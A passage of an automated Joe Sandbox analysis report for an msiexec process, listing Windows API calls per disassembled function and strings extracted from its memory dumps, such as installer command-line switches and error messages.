Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

GetMessageW.USER32 ref: 000000010000DB6A
TranslateMessage.USER32 ref: 000000010000DB97
DispatchMessageW.USER32 ref: 000000010000DBA5
GlobalFree.KERNEL32 ref: 000000010000DBBF
GlobalFree.KERNEL32 ref: 000000010000DBEF

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

norestart, xrefs: 000000010000BC2D
REBOOT=Force, xrefs: 000000010000BC72
ServerMain (CA): Impersonation token not saved., xrefs: 000000010000D73C
ServerMain (CA): Error: icacContext in CA server should be EEUI but is not any impersonated type, xrefs: 000000010000CD73
ServerMain (CA): Process not registered with service., xrefs: 000000010000D516
/, xrefs: 000000010000B820
update, xrefs: 000000010000BB66
DllGetClassObject, xrefs: 000000010000D3EB
help, xrefs: 000000010000BBAE
package, xrefs: 000000010000BBC4, 000000010000BE03
log, xrefs: 000000010000BCB7
-, xrefs: 000000010000BECA
/qb!- REBOOTPROMPT=S, xrefs: 000000010000BC16
ServerMain (CA): Open synchronization event failed, xrefs: 000000010000DB3D
ServerMain (CA): CoInitializeSecurity failed, xrefs: 000000010000D19E
Software\Microsoft\Windows\CurrentVersion\Installer\RunOnceEntries, xrefs: 000000010000B8F0
passive, xrefs: 000000010000BBFF
quiet, xrefs: 000000010000BBD3
/, xrefs: 000000010000BED0
RUVEH?IJDqXFAtPYZlgmnc, xrefs: 000000010000C150, 000000010000C4E0, 000000010000C70B, 000000010000C819
-, xrefs: 000000010000B826
MSIPATCHREMOVE=, xrefs: 000000010000BD45
uninstall, xrefs: 000000010000BB7D
OpenProcessToken failed with %d, xrefs: 000000010000CD2B
REBOOT=ReallySuppress, xrefs: 000000010000BC44
ServerMain (CA): Wait on synchronization event failed, xrefs: 000000010000CC83
forcerestart, xrefs: 000000010000BC5B
promptrestart, xrefs: 000000010000BC89
/l*, xrefs: 000000010000BCCE
REBOOTPROMPT="", xrefs: 000000010000BCA0
OLEAUT32.dll, xrefs: 000000010000C9A0
ServerMain (CA): Connection to Service failed., xrefs: 000000010000D370
/qn, xrefs: 000000010000BBE8
Msi.dll, xrefs: 000000010000D3CE
ServerMain (CA): Could not open synchronization handle., xrefs: 000000010000D570, 000000010000D98D

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100005460, Relevance: 141.9, APIs: 94, Instructions: 880

APIs

FreeSid.ADVAPI32 ref: 0000000100005578
AllocateAndInitializeSid.ADVAPI32 ref: 00000001000055B1
FreeSid.ADVAPI32 ref: 00000001000055C9
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005603
FreeSid.ADVAPI32 ref: 000000010000561E
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005660
FreeSid.ADVAPI32 ref: 000000010000567B
AllocateAndInitializeSid.ADVAPI32 ref: 00000001000056B8
FreeSid.ADVAPI32 ref: 00000001000056D3
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005710
GetLastError.KERNEL32 ref: 0000000100005751
FreeSid.ADVAPI32 ref: 000000010000576D
FreeSid.ADVAPI32 ref: 0000000100005787
AllocateAndInitializeSid.ADVAPI32 ref: 00000001000057C0
FreeSid.ADVAPI32 ref: 00000001000057D8
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005812
FreeSid.ADVAPI32 ref: 0000000100005829
AllocateAndInitializeSid.ADVAPI32 ref: 000000010000586B
GetLastError.KERNEL32 ref: 0000000100005882
FreeSid.ADVAPI32 ref: 000000010000589E
FreeSid.ADVAPI32 ref: 00000001000058B8
AllocateAndInitializeSid.ADVAPI32 ref: 00000001000058F2
FreeSid.ADVAPI32 ref: 0000000100005906
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005945
GetLastError.KERNEL32 ref: 0000000100005963
FreeSid.ADVAPI32 ref: 000000010000597F
FreeSid.ADVAPI32 ref: 0000000100005999
AllocateAndInitializeSid.ADVAPI32 ref: 00000001000059D3
FreeSid.ADVAPI32 ref: 00000001000059EB
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005A2A
FreeSid.ADVAPI32 ref: 0000000100005A41
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005A7D
GetLastError.KERNEL32 ref: 0000000100005AA8
FreeSid.ADVAPI32 ref: 0000000100005AC4
FreeSid.ADVAPI32 ref: 0000000100005ADE
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005B18
FreeSid.ADVAPI32 ref: 0000000100005B2C
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005B6B
GetLastError.KERNEL32 ref: 0000000100005B98
FreeSid.ADVAPI32 ref: 0000000100005BB4
FreeSid.ADVAPI32 ref: 0000000100005BCE
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005C07
FreeSid.ADVAPI32 ref: 0000000100005C1F
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005C59
FreeSid.ADVAPI32 ref: 0000000100005C70
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005CB2
GetLastError.KERNEL32 ref: 0000000100005CCC
FreeSid.ADVAPI32 ref: 0000000100005CE8
FreeSid.ADVAPI32 ref: 0000000100005D02
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005D3C
FreeSid.ADVAPI32 ref: 0000000100005D54
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005D8D
FreeSid.ADVAPI32 ref: 0000000100005DA4
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005DE6
GetLastError.KERNEL32 ref: 0000000100005E0F
FreeSid.ADVAPI32 ref: 0000000100005E2B
FreeSid.ADVAPI32 ref: 0000000100005E45
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005E7E
FreeSid.ADVAPI32 ref: 0000000100005E96
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005ED0
FreeSid.ADVAPI32 ref: 0000000100005EEB
AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005F2D
GetLengthSid.ADVAPI32 ref: 0000000100005F84
memset.MSVCRT ref: 0000000100005FAE
GlobalAlloc.KERNEL32 ref: 0000000100005FD8
FreeSid.ADVAPI32 ref: 0000000100006010
InitializeAcl.ADVAPI32 ref: 0000000100006030
GetLastError.KERNEL32 ref: 000000010000603A
GlobalFree.KERNEL32 ref: 000000010000605C
FreeSid.ADVAPI32 ref: 0000000100006076
AddAccessAllowedAce.ADVAPI32 ref: 00000001000060AB
GetAce.ADVAPI32 ref: 00000001000060CC
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000100006104
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000100006129
SetSecurityDescriptorOwner.ADVAPI32 ref: 0000000100006145
SetSecurityDescriptorGroup.ADVAPI32 ref: 0000000100006166
GetSecurityDescriptorLength.ADVAPI32 ref: 000000010000617C
GlobalFree.KERNEL32 ref: 00000001000061A5
FreeSid.ADVAPI32 ref: 00000001000061BF
GetLastError.KERNEL32 ref: 00000001000061D4
GlobalFree.KERNEL32 ref: 00000001000061F6
FreeSid.ADVAPI32 ref: 0000000100006210
GetLastError.KERNEL32 ref: 0000000100006220
GlobalFree.KERNEL32 ref: 0000000100006242
FreeSid.ADVAPI32 ref: 000000010000625C
MakeSelfRelativeSD.ADVAPI32 ref: 000000010000627F
GetLastError.KERNEL32 ref: 000000010000628D
GlobalFree.KERNEL32 ref: 00000001000062AF
FreeSid.ADVAPI32 ref: 00000001000062C9
GetLastError.KERNEL32 ref: 00000001000062D6
GlobalFree.KERNEL32 ref: 00000001000062F8
FreeSid.ADVAPI32 ref: 0000000100006312
GetLastError.KERNEL32 ref: 000000010000631F
FreeSid.ADVAPI32 ref: 000000010000633B

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000E408, Relevance: 116.1, APIs: 57, Strings: 9, Instructions: 599windowregistrythread

APIs

Part of subcall function 000000010000714C: EnterCriticalSection.KERNEL32 ref: 000000010000716F
Part of subcall function 000000010000714C: SetServiceStatus.ADVAPI32 ref: 00000001000071FA
Part of subcall function 000000010000714C: GetLastError.KERNEL32 ref: 0000000100007206
Part of subcall function 000000010000714C: LeaveCriticalSection.KERNEL32 ref: 0000000100007223

RegOpenKeyExW.ADVAPI32 ref: 000000010000E499
RegCloseKey.ADVAPI32 ref: 000000010000E4AC

Part of subcall function 0000000100006E5C: GetEnvironmentVariableW.KERNEL32 ref: 0000000100006E8E

Part of subcall function 000000010000733C: RegCreateKeyExW.ADVAPI32 ref: 0000000100007488
Part of subcall function 000000010000733C: RegisterEventSourceW.ADVAPI32 ref: 00000001000074E2
Part of subcall function 000000010000733C: RegCloseKey.ADVAPI32 ref: 0000000100007515
Part of subcall function 000000010000733C: RegCreateKeyExW.ADVAPI32 ref: 000000010000757D
Part of subcall function 000000010000733C: RegCreateKeyExW.ADVAPI32 ref: 00000001000075FF
Part of subcall function 000000010000733C: RegCloseKey.ADVAPI32 ref: 000000010000761A
Part of subcall function 000000010000733C: RegCloseKey.ADVAPI32 ref: 0000000100007628

GetLastError.KERNEL32 ref: 000000010000E4CD
CoUninitialize.OLE32 ref: 000000010000E4F3

Part of subcall function 0000000100005120: Sleep.KERNEL32 ref: 000000010000515C
Part of subcall function 0000000100005120: memset.MSVCRT ref: 000000010000518A

memset.MSVCRT ref: 000000010000E52A
GetVersionExW.KERNEL32 ref: 000000010000E53E

Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005578
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000055B1
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000055C9
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005603
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000561E
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005660
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000567B
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000056B8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000056D3
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005710
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005751
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000576D
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005787
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000057C0
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000057D8
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005812
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005829
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 000000010000586B
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005882
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000589E
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000058B8
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000058F2
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005906
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005945
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005963
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000597F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005999
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000059D3
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000059EB
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005A2A
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005A41
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005A7D
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005AA8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005AC4
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005ADE
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005B18
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005B2C
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005B6B
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005B98
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005BB4
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005BCE
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005C07
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005C1F
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005C59
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005C70
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005CB2
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005CCC
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005CE8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005D02
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005D3C
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005D54
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005D8D
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005DA4
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005DE6
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005E0F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E2B
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E45
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005E7E
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E96
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005ED0
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005EEB
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005F2D
Part of subcall function 0000000100005460: GetLengthSid.ADVAPI32 ref: 0000000100005F84
Part of subcall function 0000000100005460: memset.MSVCRT ref: 0000000100005FAE
Part of subcall function 0000000100005460: GlobalAlloc.KERNEL32 ref: 0000000100005FD8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006010
Part of subcall function 0000000100005460: InitializeAcl.ADVAPI32 ref: 0000000100006030
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000603A
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 000000010000605C
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006076
Part of subcall function 0000000100005460: AddAccessAllowedAce.ADVAPI32 ref: 00000001000060AB
Part of subcall function 0000000100005460: GetAce.ADVAPI32 ref: 00000001000060CC
Part of subcall function 0000000100005460: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000100006104
Part of subcall function 0000000100005460: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000100006129
Part of subcall function 0000000100005460: SetSecurityDescriptorOwner.ADVAPI32 ref: 0000000100006145
Part of subcall function 0000000100005460: SetSecurityDescriptorGroup.ADVAPI32 ref: 0000000100006166
Part of subcall function 0000000100005460: GetSecurityDescriptorLength.ADVAPI32 ref: 000000010000617C
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000061A5
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000061BF
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 00000001000061D4
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000061F6
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006210
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100006220
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 0000000100006242
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000625C
Part of subcall function 0000000100005460: MakeSelfRelativeSD.ADVAPI32 ref: 000000010000627F
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000628D
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000062AF
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000062C9
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 00000001000062D6
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000062F8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006312
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000631F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000633B

CoUninitialize.OLE32 ref: 000000010000E57B
GlobalAlloc.KERNEL32 ref: 000000010000E5B2
memset.MSVCRT ref: 000000010000E5E0
GlobalAlloc.KERNEL32 ref: 000000010000E606
memset.MSVCRT ref: 000000010000E630
GlobalAlloc.KERNEL32 ref: 000000010000E65B
memset.MSVCRT ref: 000000010000E685
GlobalAlloc.KERNEL32 ref: 000000010000E6B0
memset.MSVCRT ref: 000000010000E6DD
GlobalAlloc.KERNEL32 ref: 000000010000E708
memset.MSVCRT ref: 000000010000E73A
MakeAbsoluteSD.ADVAPI32 ref: 000000010000E7DE
CoUninitialize.OLE32 ref: 000000010000E7F2
GetLastError.KERNEL32 ref: 000000010000E7F8
GlobalFree.KERNEL32 ref: 000000010000E817
GlobalFree.KERNEL32 ref: 000000010000E834
GlobalFree.KERNEL32 ref: 000000010000E851
GlobalFree.KERNEL32 ref: 000000010000E86E
GetLastError.KERNEL32 ref: 000000010000E8E3
CoUninitialize.OLE32 ref: 000000010000E903
GlobalFree.KERNEL32 ref: 000000010000E920
GlobalFree.KERNEL32 ref: 000000010000E93D
GlobalFree.KERNEL32 ref: 000000010000E95A
GlobalFree.KERNEL32 ref: 000000010000E977
GlobalFree.KERNEL32 ref: 000000010000E99C
CreateEventW.KERNEL32 ref: 000000010000EA3C
CreateEventW.KERNEL32 ref: 000000010000EA53
GetLastError.KERNEL32 ref: 000000010000EA95
GetLastError.KERNEL32 ref: 000000010000EACD
CoRegisterClassObject.OLE32 ref: 000000010000EB40
GetLastError.KERNEL32 ref: 000000010000EB63
DispatchMessageW.USER32 ref: 000000010000EC84

Part of subcall function 000000010000AA0C: LoadLibraryW.KERNEL32 ref: 000000010000AA19
Part of subcall function 000000010000AA0C: GetProcAddress.KERNEL32 ref: 000000010000AA31
Part of subcall function 000000010000AA0C: FreeLibrary.KERNEL32 ref: 000000010000AA45
Part of subcall function 000000010000AA0C: FreeLibrary.KERNEL32 ref: 000000010000AA52

MsgWaitForMultipleObjects.USER32 ref: 000000010000EC17
TranslateMessage.USER32 ref: 000000010000EC76
PeekMessageW.USER32 ref: 000000010000EC9E
GetLastError.KERNEL32 ref: 000000010000ECDD
PostThreadMessageW.USER32 ref: 000000010000ED18
CoRevokeClassObject.OLE32 ref: 000000010000ED29
GetLastError.KERNEL32 ref: 000000010000ED31
GlobalFree.KERNEL32 ref: 000000010000E893

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

GetLastError.KERNEL32 ref: 000000010000ED45
CloseHandle.KERNEL32 ref: 000000010000ED6F
CloseHandle.KERNEL32 ref: 000000010000ED81
CloseHandle.KERNEL32 ref: 000000010000ED93
CoUninitialize.OLE32 ref: 000000010000ED9E
CoUninitialize.OLE32 ref: 000000010000EDCC
GlobalFree.KERNEL32 ref: 000000010000EDF4
GlobalFree.KERNEL32 ref: 000000010000EE14
GlobalFree.KERNEL32 ref: 000000010000EE34
GlobalFree.KERNEL32 ref: 000000010000EE54
GlobalFree.KERNEL32 ref: 000000010000EE71

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

ServiceThreadMain: CreateWaitableTimer failed., xrefs: 000000010000EA9B
ServiceThreadMain: CreateEvent failed., xrefs: 000000010000ED37
ServiceThreadMain: SetWaitableTimer failed., xrefs: 000000010000EAD3
CLSID, xrefs: 000000010000E47D
ServiceThreadMain: Class registration failed, xrefs: 000000010000EB55
PGw, xrefs: 000000010000EA3C, 000000010000EA53
Wait Failed in MsgWait., xrefs: 000000010000ECE3
ServiceThreadMain: CoInitializeSecurity failed, xrefs: 000000010000E8D7
ServiceThreadMain: CreateSD for CreateWaitableTimer failed., xrefs: 000000010000E9FC

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000E408, Relevance: 114.3, APIs: 57, Strings: 8, Instructions: 599windowregistrythread

APIs

Part of subcall function 000000010000714C: EnterCriticalSection.KERNEL32 ref: 000000010000716F
Part of subcall function 000000010000714C: SetServiceStatus.ADVAPI32 ref: 00000001000071FA
Part of subcall function 000000010000714C: GetLastError.KERNEL32 ref: 0000000100007206
Part of subcall function 000000010000714C: LeaveCriticalSection.KERNEL32 ref: 0000000100007223

RegOpenKeyExW.ADVAPI32 ref: 000000010000E499
RegCloseKey.ADVAPI32 ref: 000000010000E4AC

Part of subcall function 0000000100006E5C: GetEnvironmentVariableW.KERNEL32 ref: 0000000100006E8E

Part of subcall function 000000010000733C: RegCreateKeyExW.ADVAPI32 ref: 0000000100007488
Part of subcall function 000000010000733C: RegisterEventSourceW.ADVAPI32 ref: 00000001000074E2
Part of subcall function 000000010000733C: RegCloseKey.ADVAPI32 ref: 0000000100007515
Part of subcall function 000000010000733C: RegCreateKeyExW.ADVAPI32 ref: 000000010000757D
Part of subcall function 000000010000733C: RegCreateKeyExW.ADVAPI32 ref: 00000001000075FF
Part of subcall function 000000010000733C: RegCloseKey.ADVAPI32 ref: 000000010000761A
Part of subcall function 000000010000733C: RegCloseKey.ADVAPI32 ref: 0000000100007628

GetLastError.KERNEL32 ref: 000000010000E4CD
CoUninitialize.OLE32 ref: 000000010000E4F3

Part of subcall function 0000000100005120: Sleep.KERNEL32 ref: 000000010000515C
Part of subcall function 0000000100005120: memset.MSVCRT ref: 000000010000518A

memset.MSVCRT ref: 000000010000E52A
GetVersionExW.KERNEL32 ref: 000000010000E53E

Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005578
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000055B1
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000055C9
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005603
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000561E
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005660
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000567B
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000056B8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000056D3
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005710
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005751
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000576D
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005787
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000057C0
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000057D8
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005812
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005829
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 000000010000586B
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005882
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000589E
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000058B8
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000058F2
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005906
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005945
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005963
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000597F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005999
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000059D3
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000059EB
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005A2A
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005A41
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005A7D
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005AA8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005AC4
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005ADE
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005B18
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005B2C
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005B6B
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005B98
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005BB4
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005BCE
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005C07
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005C1F
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005C59
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005C70
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005CB2
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005CCC
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005CE8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005D02
